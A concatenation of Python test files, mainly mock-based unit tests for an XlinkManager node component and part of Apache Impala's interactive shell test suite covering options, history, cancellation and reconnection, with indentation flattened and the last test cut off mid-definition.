sess._config.graph_options.rewrite_options.min_graph_nodes, -1)
if __name__ == '__main__':
googletest.main()
|
test_xlink_manager.py | import os
import threading
from time import sleep
from unittest import TestCase
from mock import patch, Mock, MagicMock
from node.data_handler import DataHandler
from node.xlink_manager import XlinkManager
class TestXlinkManager(TestCase):
@patch('threading.Thread.start')
@patch('node.data_handler.DataHandler.load_config_file')
def setUp(self, load_config, t_start):
new_data_handler = DataHandler(Mock(), Mock())
new_config_mgr = Mock()
new_config_mgr.get_element = MagicMock(return_value=[20, "SUCCESS"])
self.xlink_manager = XlinkManager(new_data_handler, new_config_mgr)
load_config.assert_called_once()
@patch('node.data_handler.DataHandler.receive_xlink_message')
def test_receive(self, receive_msg):
self.xlink_manager.receive('mock_message')
receive_msg.assert_called_once()
@patch('node.xlink_manager.sleep')
@patch('node.xlink_manager.XlinkManager._start_public_thread')
@patch('node.data_handler.DataHandler.reset_heartbeat')
def test_receive_reconnection_message(self, reset, start_pub, patch_sleep):
self.xlink_manager.receive('RECONNECT')
reset.assert_called_once()
start_pub.assert_called_once()
@patch('node.data_handler.DataHandler.downloaded_file')
def test_receive_file_message(self, download_file):
self.xlink_manager.xlink_wrapper = Mock()
self.xlink_manager.xlink_wrapper.receive_file # type: ignore
self.xlink_manager.receive('FILE')
self.xlink_manager.xlink_wrapper.receive_file.assert_called_once() # type: ignore
download_file.assert_called_once()
@patch('node.data_handler.DataHandler.downloaded_file')
def test_receive_fail_no_xlink_wrapper(self, download_file):
self.xlink_manager.receive("FILE")
download_file.assert_called_once()
@patch('node.xlink_manager.XlinkManager.send')
def test_send_message(self, send_message):
self.xlink_manager.send('mock_message')
send_message.assert_called_once()
def test_stop_listen_to_channel(self):
self.xlink_manager.xlink_public_channel = Mock()
self.xlink_manager.xlink_wrapper = Mock()
self.xlink_manager.stop()
@patch('inbm_vision_lib.checksum_validator.hash_message')
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.send')
def test_send_message_with_hash(self, send_message, hash_message):
self.xlink_manager.send('mock_message')
hash_message.assert_called_once()
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.send')
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.start')
@patch('node.xlink_manager.get_all_xlink_pcie_device_ids', return_value=[1702351])
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.get_init_status', return_value=True)
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.__init__', return_value=None)
def test_query_channel(self, init, get_status, get_id, start, send):
def set_running():
sleep(2)
self.xlink_manager.running = False
thread = threading.Thread(target=set_running)
thread.daemon = True
thread.start()
self.xlink_manager._query_channel()
init.assert_called_once()
get_status.assert_called_once()
start.assert_called_once()
send.assert_called_once()
@patch('node.data_handler.DataHandler.register')
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.start')
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.get_init_status', return_value=True)
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.__init__', return_value=None)
def test_receive_channel_non_secure_xlink(self, init, get_status, start, register):
self.xlink_manager._is_secure_xlink = False
self.xlink_manager.xlink_public_channel = Mock()
self.xlink_manager._receive_channel("1282/01ff9982-1679820")
init.assert_called_once()
get_status.assert_called_once()
start.assert_called_once()
@patch('node.data_handler.DataHandler.register')
@patch('inbm_vision_lib.xlink.xlink_secure_wrapper.XlinkSecureWrapper.start')
@patch('inbm_vision_lib.xlink.xlink_secure_wrapper.XlinkSecureWrapper.get_init_status', return_value=True)
@patch('inbm_vision_lib.xlink.xlink_secure_wrapper.XlinkSecureWrapper.__init__', return_value=None)
def test_receive_channel_secure_xlink(self, init, get_status, start, register):
self.xlink_manager._is_secure_xlink = True
self.xlink_manager.xlink_public_channel = Mock()
self.xlink_manager._receive_channel("1282/01ff9982-1679820")
init.assert_called_once()
get_status.assert_called_once()
start.assert_called_once()
def test_get_init_status_true(self):
mock_xlink = Mock()
mock_xlink.get_init_status = MagicMock(return_value=True)
self.xlink_manager.xlink_wrapper = mock_xlink
status = self.xlink_manager.get_init_status()
self.assertEqual(status, True)
def test_get_init_status_false(self):
status = self.xlink_manager.get_init_status()
self.assertEqual(status, False)
@patch('node.data_handler.DataHandler.register')
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.stop')
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.send')
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.start')
@patch('node.xlink_manager.get_all_xlink_pcie_device_ids', return_value=[1702351])
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.get_init_status', return_value=True)
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.__init__', return_value=None)
def test_node_not_send_query_message_after_receive_message_from_vision_agent_pass(self, init, get_status, get_id,
start, send, stop, register):
def receive_response_from_vision_agent():
sleep(2)
self.xlink_manager._receive_channel("1282/01ff9982-1679820")
def set_running():
sleep(8)
self.xlink_manager.running = False
thread = threading.Thread(target=receive_response_from_vision_agent)
thread.daemon = True
thread.start()
thread = threading.Thread(target=set_running)
thread.daemon = True
thread.start()
self.xlink_manager.xlink_retry_sec = 5
self.xlink_manager._query_channel()
stop.assert_called_once()
send.assert_called_once()
register.assert_called_once()
assert start.call_count == 2
assert init.call_count == 2
assert get_status.call_count == 2
@patch('node.data_handler.DataHandler.register')
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.stop', side_effect=Exception)
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.send', side_effect=[True, AttributeError])
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.start')
@patch('node.xlink_manager.get_all_xlink_pcie_device_ids', return_value=[1702351])
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.get_init_status', return_value=True)
@patch('inbm_vision_lib.xlink.xlink_wrapper.XlinkWrapper.__init__', return_value=None)
def test_node_not_send_query_message_after_receive_message_from_vision_agent_fail(self, init, get_status, get_id,
start, send, stop, register):
def receive_response_from_vision_agent():
sleep(2)
self.xlink_manager._receive_channel("1282/01ff9982-1679820")
def set_running():
sleep(15)
self.xlink_manager.running = False
thread = threading.Thread(target=receive_response_from_vision_agent)
thread.daemon = True
thread.start()
thread = threading.Thread(target=set_running)
thread.daemon = True
thread.start()
self.xlink_manager.xlink_retry_sec = 5
self.assertRaises(AttributeError, self.xlink_manager._query_channel)
get_status.assert_called_once()
start.assert_called_once()
register.assert_not_called()
assert init.call_count == 2
assert send.call_count == 2
|
test_shell_interactive.py | #!/usr/bin/env impala-python
# -*- coding: utf-8 -*-
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import httplib
import logging
import os
import pexpect
import pytest
import re
import signal
import socket
import sys
import threading
from time import sleep
# This import is the actual ImpalaShell class from impala_shell.py.
# We rename it to ImpalaShellClass here because we later import another
# class called ImpalaShell from tests/shell/util.py, and we don't want
# to mask it.
from shell.impala_shell import ImpalaShell as ImpalaShellClass
from tempfile import NamedTemporaryFile
from tests.common.impala_service import ImpaladService
from tests.common.impala_test_suite import ImpalaTestSuite
from tests.common.skip import SkipIfLocal
from tests.common.test_dimensions import create_client_protocol_dimension
from tests.shell.util import get_unused_port
from util import (assert_var_substitution, ImpalaShell, get_impalad_port, get_shell_cmd,
get_open_sessions_metric, IMPALA_SHELL_EXECUTABLE, spawn_shell)
import SimpleHTTPServer
import SocketServer
QUERY_FILE_PATH = os.path.join(os.environ['IMPALA_HOME'], 'tests', 'shell')
# Regex to match the interactive shell prompt that is expected after each command.
# Examples: hostname:21000, hostname:21050, hostname:28000
PROMPT_REGEX = r'\[[^:]+:2(1|8)0[0-9][0-9]\]'
LOG = logging.getLogger('test_shell_interactive')
@pytest.fixture
def tmp_history_file(request):
"""
Test fixture which uses a temporary file as the path for the shell
history.
"""
tmp = NamedTemporaryFile()
old_path = os.environ.get('IMPALA_HISTFILE')
os.environ['IMPALA_HISTFILE'] = tmp.name
def cleanup():
if old_path is not None:
os.environ['IMPALA_HISTFILE'] = old_path
else:
del os.environ['IMPALA_HISTFILE']
request.addfinalizer(cleanup)
return tmp.name
@pytest.yield_fixture
def http_503_server():
class RequestHandler503(SimpleHTTPServer.SimpleHTTPRequestHandler):
"""A custom http handler that checks for duplicate 'Host' headers from the most
recent http request, and always returns a 503 http code"""
def do_POST(self):
# The unfortunately named self.headers here is an instance of mimetools.Message that
# contains the request headers.
request_headers = self.headers.headers
# Ensure that only one 'Host' header is contained in the request before responding.
host_hdr_count = sum([header.startswith('Host:') for header in request_headers])
assert host_hdr_count == 1, "duplicate 'Host:' headers in %s" % request_headers
# Respond with 503.
self.send_response(code=httplib.SERVICE_UNAVAILABLE, message="Service Unavailable")
class TestHTTPServer503(object):
def __init__(self):
self.HOST = "localhost"
self.PORT = get_unused_port()
self.httpd = SocketServer.TCPServer((self.HOST, self.PORT), RequestHandler503)
self.http_server_thread = threading.Thread(target=self.httpd.serve_forever)
self.http_server_thread.start()
server = TestHTTPServer503()
yield server
# Cleanup after test.
if server.httpd is not None:
server.httpd.shutdown()
if server.http_server_thread is not None:
server.http_server_thread.join()
class TestImpalaShellInteractive(ImpalaTestSuite):
"""Test the impala shell interactively"""
@classmethod
def get_workload(self):
return 'functional-query'
@classmethod
def add_test_dimensions(cls):
# Run with both beeswax and HS2 to ensure that behaviour is the same.
cls.ImpalaTestMatrix.add_dimension(create_client_protocol_dimension())
def _expect_with_cmd(self, proc, cmd, vector, expectations=(), db="default"):
"""Executes a command on the expect process instance and verifies a set of
assertions defined by the expectations."""
proc.sendline(cmd + ";")
proc.expect(":{0}] {1}>".format(get_impalad_port(vector), db))
if not expectations: return
for e in expectations:
assert e in proc.before
def _wait_for_num_open_sessions(self, vector, impala_service, expected, err):
"""Helper method to wait for the number of open sessions to reach 'expected'."""
metric_name = get_open_sessions_metric(vector)
try:
actual = impala_service.wait_for_metric_value(metric_name, expected)
except AssertionError:
LOG.exception("Error: %s" % err)
raise
assert actual == expected, err
def test_local_shell_options(self, vector):
"""Test that setting the local shell options works"""
proc = spawn_shell(get_shell_cmd(vector))
proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(proc, "set", vector,
("LIVE_PROGRESS: True", "LIVE_SUMMARY: False"))
self._expect_with_cmd(proc, "set live_progress=true", vector)
self._expect_with_cmd(proc, "set", vector,
("LIVE_PROGRESS: True", "LIVE_SUMMARY: False"))
self._expect_with_cmd(proc, "set live_summary=1", vector)
self._expect_with_cmd(proc, "set", vector,
("LIVE_PROGRESS: True", "LIVE_SUMMARY: True"))
self._expect_with_cmd(proc, "set", vector,
("WRITE_DELIMITED: False", "VERBOSE: True"))
self._expect_with_cmd(proc, "set", vector,
("DELIMITER: \\t", "OUTPUT_FILE: None"))
self._expect_with_cmd(proc, "set write_delimited=true", vector)
self._expect_with_cmd(proc, "set", vector, ("WRITE_DELIMITED: True", "VERBOSE: True"))
self._expect_with_cmd(proc, "set DELIMITER=,", vector)
self._expect_with_cmd(proc, "set", vector, ("DELIMITER: ,", "OUTPUT_FILE: None"))
self._expect_with_cmd(proc, "set output_file=/tmp/clmn.txt", vector)
self._expect_with_cmd(proc, "set", vector,
("DELIMITER: ,", "OUTPUT_FILE: /tmp/clmn.txt"))
proc.sendeof()
proc.wait()
@pytest.mark.execute_serially
def test_write_delimited(self, vector):
"""Test output rows in delimited mode"""
p = ImpalaShell(vector)
p.send_cmd("use tpch")
p.send_cmd("set write_delimited=true")
p.send_cmd("select * from nation")
result = p.get_result()
assert "+----------------+" not in result.stdout
assert "21\tVIETNAM\t2" in result.stdout, result.stdout
@pytest.mark.execute_serially
def test_change_delimiter(self, vector):
"""Test change output delimiter if delimited mode is enabled"""
p = ImpalaShell(vector)
p.send_cmd("use tpch")
p.send_cmd("set write_delimited=true")
p.send_cmd("set delimiter=,")
p.send_cmd("select * from nation")
result = p.get_result()
assert "21,VIETNAM,2" in result.stdout
@pytest.mark.execute_serially
def test_print_to_file(self, vector):
"""Test print to output file and unset"""
# test print to file
p1 = ImpalaShell(vector)
p1.send_cmd("use tpch")
local_file = NamedTemporaryFile(delete=True)
p1.send_cmd("set output_file=%s" % local_file.name)
p1.send_cmd("select * from nation")
result = p1.get_result()
assert "VIETNAM" not in result.stdout
with open(local_file.name, "r") as fi:
# check if the results were written to the file successfully
result = fi.read()
assert "VIETNAM" in result
# test unset to print back to stdout
p2 = ImpalaShell(vector)
p2.send_cmd("use tpch")
p2.send_cmd("set output_file=%s" % local_file.name)
p2.send_cmd("unset output_file")
p2.send_cmd("select * from nation")
result = p2.get_result()
assert "VIETNAM" in result.stdout
def test_compute_stats_with_live_progress_options(self, vector, unique_database):
"""Test that setting LIVE_PROGRESS options won't cause COMPUTE STATS query fail"""
p = ImpalaShell(vector)
p.send_cmd("set live_progress=True")
p.send_cmd("set live_summary=True")
table = "{0}.live_progress_option".format(unique_database)
p.send_cmd('create table {0}(col int);'.format(table))
try:
p.send_cmd('compute stats {0};'.format(table))
finally:
p.send_cmd('drop table if exists {0};'.format(table))
result = p.get_result()
assert "Updated 1 partition(s) and 1 column(s)" in result.stdout
def test_escaped_quotes(self, vector):
"""Test escaping quotes"""
# test escaped quotes outside of quotes
result = run_impala_shell_interactive(vector, "select \\'bc';")
assert "Unexpected character" in result.stderr
result = run_impala_shell_interactive(vector, "select \\\"bc\";")
assert "Unexpected character" in result.stderr
# test escaped quotes within quotes
result = run_impala_shell_interactive(vector, "select 'ab\\'c';")
assert "Fetched 1 row(s)" in result.stderr
result = run_impala_shell_interactive(vector, "select \"ab\\\"c\";")
assert "Fetched 1 row(s)" in result.stderr
@pytest.mark.execute_serially
def test_cancellation(self, vector):
impalad = ImpaladService(socket.getfqdn())
assert impalad.wait_for_num_in_flight_queries(0)
command = "select sleep(10000);"
p = ImpalaShell(vector)
p.send_cmd(command)
sleep(3)
os.kill(p.pid(), signal.SIGINT)
result = p.get_result()
assert "Cancelled" not in result.stderr
assert impalad.wait_for_num_in_flight_queries(0)
p = ImpalaShell(vector)
sleep(3)
os.kill(p.pid(), signal.SIGINT)
result = p.get_result()
assert "^C" in result.stderr
@pytest.mark.execute_serially
def test_cancellation_mid_command(self, vector):
"""The test starts with sending in a multi-line input without a command delimiter.
When the impala-shell is waiting for more input, the test sends a SIGINT signal (to
simulate pressing Ctrl-C) followed by a final query terminated with semicolon.
The expected behavior for the impala shell is to discard everything before the
SIGINT signal was sent and execute the final query only."""
shell_cmd = get_shell_cmd(vector)
queries = [
"line 1\n", "line 2\n", "line 3\n\n", "line 4 and", " 5\n",
"line 6\n", "line 7\n", "line 8\n", "line 9\n", "line 10"]
# Check when the last line before Ctrl-C doesn't end with newline.
child_proc = spawn_shell(shell_cmd)
for query in queries:
child_proc.send(query)
child_proc.sendintr()
child_proc.send('select "test without newline";\n')
child_proc.expect("test without newline")
child_proc.sendline('quit;')
child_proc.wait()
# Check when the last line before Ctrl-C ends with newline.
child_proc = spawn_shell(shell_cmd)
for query in queries:
child_proc.send(query)
# Sending in a newline so it will end with one
child_proc.send("\n")
# checking if it realy is a new line
child_proc.expect(" > ")
child_proc.sendintr()
child_proc.send('select "test with newline";\n')
child_proc.expect("test with newline")
child_proc.sendline('quit;')
child_proc.wait()
def test_unicode_input(self, vector):
"Test queries containing non-ascii input"
# test a unicode query spanning multiple lines
unicode_text = u'\ufffd'
args = "select '%s'\n;" % unicode_text.encode('utf-8')
result = run_impala_shell_interactive(vector, args)
assert "Fetched 1 row(s)" in result.stderr
def test_welcome_string(self, vector):
"""Test that the shell's welcome message is only printed once
when the shell is started. Ensure it is not reprinted on errors.
Regression test for IMPALA-1153
"""
result = run_impala_shell_interactive(vector, 'asdf;')
assert result.stdout.count("Welcome to the Impala shell") == 1
result = run_impala_shell_interactive(vector, 'select * from non_existent_table;')
assert result.stdout.count("Welcome to the Impala shell") == 1
def test_disconnected_shell(self, vector):
"""Test that the shell presents a disconnected prompt if it can't connect
"""
result = run_impala_shell_interactive(vector, 'asdf;', shell_args=['-ifoo'],
wait_until_connected=False)
assert ImpalaShellClass.DISCONNECTED_PROMPT in result.stdout, result.stderr
def test_quit_no_reconnect(self, vector):
"""Test that a disconnected shell does not try to reconnect if quitting"""
result = run_impala_shell_interactive(vector, 'quit;', shell_args=['-ifoo'],
wait_until_connected=False)
assert "reconnect" not in result.stderr
result = run_impala_shell_interactive(vector, 'exit;', shell_args=['-ifoo'],
wait_until_connected=False)
assert "reconnect" not in result.stderr
# Null case: This is not quitting, so it will result in an attempt to reconnect.
result = run_impala_shell_interactive(vector, 'show tables;', shell_args=['-ifoo'],
wait_until_connected=False)
assert "reconnect" in result.stderr
def test_bash_cmd_timing(self, vector):
"""Test existence of time output in bash commands run from shell"""
args = ["! ls;"]
result = run_impala_shell_interactive(vector, args)
assert "Executed in" in result.stderr
@SkipIfLocal.multiple_impalad
@pytest.mark.execute_serially
def test_reconnect(self, vector):
"""Regression Test for IMPALA-1235
Verifies that a connect command by the user is honoured.
"""
try:
# Disconnect existing clients so there are no open sessions.
self.close_impala_clients()
hostname = socket.getfqdn()
initial_impala_service = ImpaladService(hostname)
target_impala_service = ImpaladService(hostname, webserver_port=25001,
beeswax_port=21001, be_port=22001, hs2_port=21051, hs2_http_port=28001)
protocol = vector.get_value("protocol").lower()
if protocol == "hs2":
target_port = 21051
elif protocol == "hs2-http":
target_port = 28001
else:
assert protocol == "beeswax"
target_port = 21001
# This test is running serially, so there shouldn't be any open sessions, but wait
# here in case a session from a previous test hasn't been fully closed yet.
self._wait_for_num_open_sessions(vector, initial_impala_service, 0,
"first impalad should not have any remaining open sessions.")
self._wait_for_num_open_sessions(vector, target_impala_service, 0,
"second impalad should not have any remaining open sessions.")
# Connect to the first impalad
p = ImpalaShell(vector)
# Make sure we're connected <hostname>:<port>
self._wait_for_num_open_sessions(vector, initial_impala_service, 1,
"Not connected to %s:%d" % (hostname, get_impalad_port(vector)))
p.send_cmd("connect %s:%d" % (hostname, target_port))
# The number of sessions on the target impalad should have been incremented.
self._wait_for_num_open_sessions(vector,
target_impala_service, 1, "Not connected to %s:%d" % (hostname, target_port))
assert "[%s:%d] default>" % (hostname, target_port) in p.get_result().stdout
# The number of sessions on the initial impalad should have been decremented.
self._wait_for_num_open_sessions(vector, initial_impala_service, 0,
"Connection to %s:%d should have been closed" % (
hostname, get_impalad_port(vector)))
finally:
self.create_impala_clients()
@pytest.mark.execute_serially
def test_ddl_queries_are_closed(self, vector):
"""Regression test for IMPALA-1317
The shell does not call close() for alter, use and drop queries, leaving them in
flight. This test issues those queries in interactive mode, and checks the debug
webpage to confirm that they've been closed.
TODO: Add every statement type.
"""
# Disconnect existing clients so there are no open sessions.
self.close_impala_clients()
TMP_DB = 'inflight_test_db'
TMP_TBL = 'tmp_tbl'
MSG = '%s query should be closed'
NUM_QUERIES = 'impala-server.num-queries'
impalad = ImpaladService(socket.getfqdn())
self._wait_for_num_open_sessions(vector, impalad, 0,
"Open sessions found after closing all clients.")
p = ImpalaShell(vector)
try:
start_num_queries = impalad.get_metric_value(NUM_QUERIES)
p.send_cmd('create database if not exists %s' % TMP_DB)
p.send_cmd('use %s' % TMP_DB)
impalad.wait_for_metric_value(NUM_QUERIES, start_num_queries + 2)
assert impalad.wait_for_num_in_flight_queries(0), MSG % 'use'
p.send_cmd('create table %s(i int)' % TMP_TBL)
p.send_cmd('alter table %s add columns (j int)' % TMP_TBL)
impalad.wait_for_metric_value(NUM_QUERIES, start_num_queries + 4)
assert impalad.wait_for_num_in_flight_queries(0), MSG % 'alter'
p.send_cmd('drop table %s' % TMP_TBL)
impalad.wait_for_metric_value(NUM_QUERIES, start_num_queries + 5)
assert impalad.wait_for_num_in_flight_queries(0), MSG % 'drop'
finally:
# get_result() must be called to exit the shell.
p.get_result()
self._wait_for_num_open_sessions(vector, impalad, 0,
"shell should close sessions.")
run_impala_shell_interactive(vector, "drop table if exists %s.%s;" % (
TMP_DB, TMP_TBL))
run_impala_shell_interactive(vector, "drop database if exists foo;")
self.create_impala_clients()
def test_multiline_queries_in_history(self, vector, tmp_history_file):
"""Test to ensure that multiline queries with comments are preserved in history
Ensure that multiline queries are preserved when they're read back from history.
Additionally, also test that comments are preserved.
"""
# readline gets its input from tty, so using stdin does not work.
child_proc = spawn_shell(get_shell_cmd(vector))
# List of (input query, expected text in output).
# The expected output is usually the same as the input with a number prefix, except
# where the shell strips newlines before a semicolon.
queries = [
("select\n1;--comment", "[1]: select\n1;--comment"),
("select 1 --comment\n;", "[2]: select 1 --comment;"),
("select 1 --comment\n\n\n;", "[3]: select 1 --comment;"),
("select /*comment*/\n1;", "[4]: select /*comment*/\n1;"),
("select\n/*comm\nent*/\n1;", "[5]: select\n/*comm\nent*/\n1;")]
for query, _ in queries:
child_proc.expect(PROMPT_REGEX)
child_proc.sendline(query)
child_proc.expect("Fetched 1 row\(s\) in [0-9]+\.?[0-9]*s")
child_proc.expect(PROMPT_REGEX)
child_proc.sendline('quit;')
child_proc.wait()
p = ImpalaShell(vector)
p.send_cmd('history')
result = p.get_result()
for _, history_entry in queries:
assert history_entry in result.stderr, "'%s' not in '%s'" % (history_entry,
result.stderr)
def test_history_does_not_duplicate_on_interrupt(self, vector, tmp_history_file):
"""This test verifies that once the cmdloop is broken the history file will not be
re-read. The cmdloop can be broken when the user sends a SIGINT or exceptions
occur."""
# readline gets its input from tty, so using stdin does not work.
shell_cmd = get_shell_cmd(vector)
child_proc = spawn_shell(shell_cmd)
# set up history
child_proc.expect(PROMPT_REGEX)
child_proc.sendline("select 1;")
child_proc.expect("Fetched 1 row\(s\) in [0-9]+\.?[0-9]*s")
child_proc.expect(PROMPT_REGEX)
child_proc.sendline("quit;")
child_proc.wait()
child_proc = spawn_shell(shell_cmd)
child_proc.expect(PROMPT_REGEX)
# send SIGINT then quit to save history
child_proc.sendintr()
child_proc.sendline("select 2;")
child_proc.expect("Fetched 1 row\(s\) in [0-9]+\.?[0-9]*s")
child_proc.sendline("quit;")
child_proc.wait()
# check history in a new instance
p = ImpalaShell(vector)
p.send_cmd('history')
result = p.get_result().stderr.splitlines()
assert "[1]: select 1;" == result[1]
assert "[2]: quit;" == result[2]
assert "[3]: select 2;" == result[3]
assert "[4]: quit;" == result[4]
def test_history_file_option(self, vector, tmp_history_file):
"""
Setting the 'tmp_history_file' fixture above means that the IMPALA_HISTFILE
environment will be overridden. Here we override that environment by passing
the --history_file command line option, ensuring that the history ends up
in the appropriate spot.
"""
with NamedTemporaryFile() as new_hist:
shell_cmd = get_shell_cmd(vector) + ["--history_file=%s" % new_hist.name]
child_proc = spawn_shell(shell_cmd)
child_proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(child_proc, "select 'hi'", vector, ('hi'))
child_proc.sendline('exit;')
child_proc.expect(pexpect.EOF)
history_contents = file(new_hist.name).read()
assert "select 'hi'" in history_contents
def test_rerun(self, vector, tmp_history_file):
"""Smoke test for the 'rerun' command"""
child_proc = spawn_shell(get_shell_cmd(vector))
child_proc.expect(":{0}] default>".format(get_impalad_port(vector)))
self._expect_with_cmd(child_proc, "@1", vector, ("Command index out of range"))
self._expect_with_cmd(child_proc, "rerun -1", vector,
("Command index out of range"))
self._expect_with_cmd(child_proc, "select 'first_command'", vector,
("first_command"))
self._expect_with_cmd(child_proc, "rerun 1", vector, ("first_command"))
self._expect_with_cmd(child_proc, "@ -1", vector, ("first_command"))
self._expect_with_cmd(child_proc, "select 'second_command'", vector,
("second_command"))
child_proc.sendline('history;')
child_proc.expect(":{0}] default>".format(get_impalad_port(vector)))
assert '[1]: select \'first_command\';' in child_proc.before
assert '[2]: select \'second_command\';' in child_proc.before
assert '[3]: history;' in child_proc.before
# Rerunning command should not add an entry into history.
assert '[4]' not in child_proc.before
self._expect_with_cmd(child_proc, "@0", vector, ("Command index out of range"))
self._expect_with_cmd(child_proc, "rerun 4", vector, ("Command index out of range"))
self._expect_with_cmd(child_proc, "@-4", vector, ("Command index out of range"))
self._expect_with_cmd(child_proc, " @ 3 ", vector, ("second_command"))
self._expect_with_cmd(child_proc, "@-3", vector, ("first_command"))
self._expect_with_cmd(child_proc, "@", vector,
("Command index to be rerun must be an integer."))
self._expect_with_cmd(child_proc, "@1foo", vector,
("Command index to be rerun must be an integer."))
self._expect_with_cmd(child_proc, "@1 2", vector,
("Command index to be rerun must be an integer."))
self._expect_with_cmd(child_proc, "rerun1", vector, ("Syntax error"))
child_proc.sendline('quit;')
child_proc.wait()
def test_tip(self, vector):
"""Smoke test for the TIP command"""
# Temporarily add impala_shell module to path to get at TIPS list for verification
sys.path.append("%s/shell/" % os.environ['IMPALA_HOME'])
try:
import impala_shell
finally:
sys.path = sys.path[:-1]
result = run_impala_shell_interactive(vector, "tip;")
for t in impala_shell.TIPS:
if t in result.stderr: return
assert False, "No tip found in output %s" % result.stderr
def test_var_substitution(self, vector):
cmds = open(os.path.join(QUERY_FILE_PATH, 'test_var_substitution.sql')).read()
args = ["--var=foo=123", "--var=BAR=456", "--delimited", "--output_delimiter= "]
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert_var_substitution(result)
def test_query_option_configuration(self, vector):
rcfile_path = os.path.join(QUERY_FILE_PATH, 'impalarc_with_query_options')
args = ['-Q', 'MT_dop=1', '--query_option=MAX_ERRORS=200',
'--config_file=%s' % rcfile_path]
cmds = "set all;"
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert "\tMT_DOP: 1" in result.stdout
assert "\tMAX_ERRORS: 200" in result.stdout
assert "\tEXPLAIN_LEVEL: 2" in result.stdout
assert "INVALID_QUERY_OPTION is not supported for the impalad being connected to, "\
"ignoring." in result.stdout
# Verify that query options under [impala] override those under [impala.query_options]
assert "\tDEFAULT_FILE_FORMAT: avro" in result.stdout
def test_commandline_flag_disable_live_progress(self, vector):
"""Test the command line flag disable_live_progress with live_progress."""
# By default, shell option live_progress is set to True in the interactive mode.
cmds = "set all;"
result = run_impala_shell_interactive(vector, cmds)
assert "\tLIVE_PROGRESS: True" in result.stdout
# override the default option through command line argument.
args = ['--disable_live_progress']
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert "\tLIVE_PROGRESS: False" in result.stdout
# set live_progress as True with config file.
# override the option in config file through command line argument.
rcfile_path = os.path.join(QUERY_FILE_PATH, 'good_impalarc3')
args = ['--disable_live_progress', '--config_file=%s' % rcfile_path]
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert "\tLIVE_PROGRESS: False" in result.stdout
def test_live_option_configuration(self, vector):
"""Test the optional configuration file with live_progress and live_summary."""
# Positive tests
# set live_summary and live_progress as True with config file
rcfile_path = os.path.join(QUERY_FILE_PATH, 'good_impalarc3')
cmd_line_args = ['--config_file=%s' % rcfile_path]
cmds = "set all;"
result = run_impala_shell_interactive(vector, cmds, shell_args=cmd_line_args)
assert 'WARNING:' not in result.stderr, \
"A valid config file should not trigger any warning: {0}".format(result.stderr)
assert "\tLIVE_SUMMARY: True" in result.stdout
assert "\tLIVE_PROGRESS: True" in result.stdout
# set live_summary and live_progress as False with config file
rcfile_path = os.path.join(QUERY_FILE_PATH, 'good_impalarc4')
args = ['--config_file=%s' % rcfile_path]
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert 'WARNING:' not in result.stderr, \
"A valid config file should not trigger any warning: {0}".format(result.stderr)
assert "\tLIVE_SUMMARY: False" in result.stdout
assert "\tLIVE_PROGRESS: False" in result.stdout
# override options in config file through command line arguments
args = ['--live_progress', '--live_summary', '--config_file=%s' % rcfile_path]
result = run_impala_shell_interactive(vector, cmds, shell_args=args)
assert "\tLIVE_SUMMARY: True" in result.stdout
assert "\tLIVE_PROGRESS: True" in result.stdout
def test_source_file(self, vector):
cwd = os.getcwd()
try:
# Change working dir so that SOURCE command in shell.cmds can find shell2.cmds.
os.chdir("%s/tests/shell/" % os.environ['IMPALA_HOME'])
# IMPALA-5416: Test that a command following 'source' won't be run twice.
result = run_impala_shell_interactive(vector, "source shell.cmds;select \"second "
"command\";")
assert "Query: USE FUNCTIONAL" in result.stderr
assert "Query: SHOW TABLES" in result.stderr
assert "alltypes" in result.stdout
# This is from shell2.cmds, the result of sourcing a file from a sourced file.
assert "SELECT VERSION()" in result.stderr
assert "version()" in result.stdout
assert len(re.findall("'second command'", result.stdout)) == 1
# IMPALA-5416: Test that two source commands on a line won't crash the shell.
result = run_impala_shell_interactive(
vector, "source shell.cmds;source shell.cmds;")
assert len(re.findall("version\(\)", result.stdout)) == 2
finally:
os.chdir(cwd)
def test_source_file_with_errors(self, vector):
full_path = "%s/tests/shell/shell_error.cmds" % os.environ['IMPALA_HOME']
result = run_impala_shell_interactive(vector, "source %s;" % full_path)
assert "Could not execute command: USE UNKNOWN_DATABASE" in result.stderr
assert "Query: USE FUNCTIONAL" not in result.stderr
result = run_impala_shell_interactive(vector, "source %s;" % full_path, ['-c'])
assert "Could not execute command: USE UNKNOWN_DATABASE" in result.stderr,\
result.stderr
assert "Query: USE FUNCTIONAL" in result.stderr, result.stderr
assert "Query: SHOW TABLES" in result.stderr, result.stderr
assert "alltypes" in result.stdout, result.stdout
def test_source_missing_file(self, vector):
